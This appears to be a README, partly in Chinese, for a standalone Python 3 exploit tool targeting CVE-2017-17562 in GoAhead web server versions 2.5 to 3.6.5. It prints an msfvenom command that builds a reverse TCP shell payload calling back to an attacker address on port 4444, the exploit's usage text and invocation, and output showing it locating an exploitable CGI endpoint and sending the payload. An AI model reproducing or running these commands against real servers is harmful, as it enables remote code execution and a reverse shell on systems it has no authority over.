
Standalone Python 3 exploit for CVE-2017-17562
独立的 Python 3 反向 Shell 利用工具,针对 CVE-2017-17562,适用于 GoAhead Web 服务器版本 2.5 到 3.6.5(不含 3.6.5)。
博客文章详见。
基于此处的 POC 和漏洞环境,使用 Python 3.7 编写并测试。部分代码借鉴自 Metasploit 模块。
原始 POC 见此。我编写这个是因为无法使原始 POC 利用工具正常工作,后来才意识到它缺少一个搜索 CGI 模块以进行利用的功能——即需要用户指定其位置或提供用于递归搜索的字典文件。
root@Kali:~/Infosec/RubyStuff/GoAhead-Web-Server-2.5~3.6.5# ./exploit.py -h
usage: exploit.py [-h] -rhost RHOST [-rport RPORT] [-cgipath CGIPATH] -payload
PAYLOAD
Generate the payload first, eg:
msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.92.134 LPORT=4444 -f elf-so -o dir/payload.so
Required arguments:
-rhost RHOST Target host running Go Ahead webserver eg. 192.168.92.153
-payload PAYLOAD Path to the malicious elf-so payload. eg dir/payload.so
Optional arguments:
-rport RPORT Target port running GoAhead webserver. Default: 8080
-cgipath CGIPATH The path to a CGI script on the GoAhead server Default: '/cgi-bin' as in http://192.168.92.153/cgi-bin
Call the exploit like this:
./exploit.py -rhost 192.168.92.153 -rport 8080 -cgipath /cgi-bin/index -payload dir/payload.so
root@Kali:~/Infosec/RubyStuff/GoAhead-Web-Server-2.5~3.6.5# ./exploit.py -rhost 192.168.92.153 -rport 8080 -payload payload3.so
Searching 390 paths for an exploitable CGI endpoint...
Exploitable CGI located at /cgi-bin/index
Sending payload...